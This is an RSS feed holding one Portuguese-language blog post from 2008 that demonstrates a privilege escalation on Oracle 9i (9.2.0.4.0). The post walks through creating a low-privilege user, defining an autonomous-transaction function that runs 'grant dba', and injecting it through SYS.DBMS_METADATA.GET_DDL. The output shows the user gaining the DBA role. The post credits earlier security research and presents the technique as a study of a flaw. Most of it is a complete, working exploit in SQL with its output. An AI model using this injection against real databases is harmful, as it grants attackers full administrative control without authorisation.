<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>glufke.net &#187; Oracle 9i</title>
	<atom:link href="http://glufke.net/tag/oracle-9i/feed/" rel="self" type="application/rss+xml" />
	<link>http://glufke.net</link>
	<description></description>
	<lastBuildDate>Mon, 16 Apr 2012 19:33:42 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Como conseguir privilégio de DBA no oracle 9i (falha de segurança)</title>
		<link>http://glufke.net/2008/10/13/conseguir-privilegio-de-dba-no-oracle-9i/</link>
		<comments>http://glufke.net/2008/10/13/conseguir-privilegio-de-dba-no-oracle-9i/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 17:02:32 +0000</pubDate>
		<dc:creator>glufke</dc:creator>
				<category><![CDATA[DBA]]></category>
		<category><![CDATA[Oracle 9i]]></category>
		<category><![CDATA[Segurança]]></category>

		<guid isPermaLink="false">http://glufke.net/?p=32</guid>
		<description><![CDATA[
			
			
			
			
			
			
			
						
			Neste post vamos mostrar como conseguir a role de DBA com oracle 9i tendo apenas permissão de CONNECT e RESOURCE. Utilizamos a versão 9.2.0.4.0 para realizar o estudo abaixo. Este post é baseado no documento de Pete Finnigan entitulado de &#8220;Many ways to become DBA&#8221;. 
Primeiramente vamos ver a versão exata que estamos usando:
sys@ORA9R2> select [...]]]></description>
			<content:encoded><![CDATA[<div class="bottomcontainerBox" style="">
			<div style="float:left; width:50px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fglufke.net%2F2008%2F10%2F13%2Fconseguir-privilegio-de-dba-no-oracle-9i%2F&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:50px; height:21px;"></iframe></div>
			<div style="float:left; width:60px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://glufke.net/2008/10/13/conseguir-privilegio-de-dba-no-oracle-9i/"></g:plusone>
			</div>
			<div style="float:left; width:70px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://glufke.net/2008/10/13/conseguir-privilegio-de-dba-no-oracle-9i/"  data-text="Como conseguir privilégio de DBA no oracle 9i (falha de segurança)" data-count="horizontal" data-via="glufke"></a>
			</div><div style="float:left; width:110px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script type="in/share" data-url="http://glufke.net/2008/10/13/conseguir-privilegio-de-dba-no-oracle-9i/" data-counter="right"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div><p>Neste post vamos mostrar como conseguir a role de DBA com oracle 9i tendo apenas permissão de CONNECT e RESOURCE. Utilizamos a versão 9.2.0.4.0 para realizar o estudo abaixo. Este post é baseado no documento de Pete Finnigan entitulado de &#8220;Many ways to become DBA&#8221;.<span id="more-32"></span> </p>
<p>Primeiramente vamos ver a versão exata que estamos usando:</p>
<pre class="brush: sql;">sys@ORA9R2> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.2.0.4.0
PL/SQL Release 9.2.0.4.0 - Production
CORE 9.2.0.3.0 Production
TNS for Linux: Version 9.2.0.4.0 - Production
NLSRTL Version 9.2.0.4.0 - Production</pre>
<p><strong>Criação do usuário</strong><br />
Neste exemplo, vamos criar o usuário que iremos transformar em DBA. Chamaremos o usuário de TESTUSER e daremos apenas acesso de CONNECT e RESOURCE pra ele!</p>
<pre class="brush: sql;">sys@ORA9R2> create user testUser identified by testUser;

User created.

sys@ORA9R2> grant connect, resource to testUser;

Grant succeeded.

sys@ORA9R2> connect testUser/testUser
Connected.
testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2></pre>
<p><strong>Ganhar privilégio de DBA</strong></p>
<p>Agora que o usuário está criado e tem pouquíssimos privilégios, vamos usar uma falha da versão 9i para obter a role DBA. Esta falha envolve a criação de uma função e o uso de uma vulnerabilidade da package DBMS_METADATA.</p>
<p>Criação da função</p>
<pre class="brush: sql;">testuser@ORA9R2> create or replace function testuser.hack return varchar2
2 authid current_user is
3 pragma autonomous_transaction;
4 begin
5 execute immediate 'grant dba to testUser';
6 return '';
7 end;
8 /

Function created.</pre>
<p>Execução da Função</p>
<pre class="brush: sql;">testuser@ORA9R2> select sys.dbms_metadata.get_ddl('''||testuser.hack()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||testuser.hack()||' for parameter OBJECT_TYPE in
function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1

no rows selected</pre>
<div id="ads_336x280"><script type="text/javascript"><!--
google_ad_client = "pub-8964513116661040";
google_alternate_color = "ffffFF";
google_ad_width = 336;
google_ad_height = 280;
google_ad_format = "336x280_as";
google_ad_type = "text_image";
//2007-09-07: wp_quadrado_gra
google_ad_channel = "0247072216";
google_color_border = "FFFFFF";
google_color_bg = "FFFFff";
google_color_link = "4F82CB";
google_color_text = "000000";
google_color_url = "4F82CB";
//-->
</script><script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div>
<p>E agora, a mágica!</p>
<pre class="brush: sql;">testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER DBA NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2></pre>
<p>Voalá! Role de DBA para TESTUSER !</p>
<p>Comentários <a href="http://glufke.net/oracle/viewtopic.php?t=3778">aqui</a></p>
]]></content:encoded>
			<wfw:commentRss>http://glufke.net/2008/10/13/conseguir-privilegio-de-dba-no-oracle-9i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

